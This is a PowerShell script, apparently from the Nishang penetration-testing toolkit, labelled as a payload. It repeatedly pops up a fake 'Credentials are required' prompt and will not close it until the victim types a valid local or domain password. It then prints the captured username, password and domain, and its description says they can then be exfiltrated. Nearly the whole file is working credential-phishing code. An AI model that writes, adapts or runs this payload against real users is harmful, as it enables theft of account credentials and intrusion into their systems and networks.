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49 lines
1.6 KiB
PowerShell
49 lines
1.6 KiB
PowerShell
<#
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.SYNOPSIS
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Nishang Payload which opens a user credential prompt.
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.DESCRIPTION
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This payload opens a prompt which asks for user credentials and
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does not go away till valid credentials are entered in the prompt.
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The credentials can then exfiltrated using method of choice.
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.EXAMPLE
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PS > Credentials
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.LINK
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http://labofapenetrationtester.blogspot.com/
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https://github.com/samratashok/nishang
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#>
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function Credentials
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{
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[CmdletBinding()]
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Param ()
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$ErrorActionPreference="SilentlyContinue"
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Add-Type -assemblyname system.DirectoryServices.accountmanagement
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$DS = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine)
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$domainDN = "LDAP://" + ([ADSI]"").distinguishedName
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while($true)
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{
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$credential = $host.ui.PromptForCredential("Credentials are required to perform this operation", "Please enter your user name and password.", "", "")
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if($credential)
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{
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$creds = $credential.GetNetworkCredential()
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[String]$user = $creds.username
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[String]$pass = $creds.password
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[String]$domain = $creds.domain
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$authlocal = $DS.ValidateCredentials($user, $pass)
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$authdomain = New-Object System.DirectoryServices.DirectoryEntry($domainDN,$user,$pass)
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if(($authlocal -eq $true) -or ($authdomain.name -ne $null))
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{
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$output = "Username: " + $user + " Password: " + $pass + " Domain:" + $domain + " Domain:"+ $authdomain.name
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$output
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break
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}
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}
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}
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}
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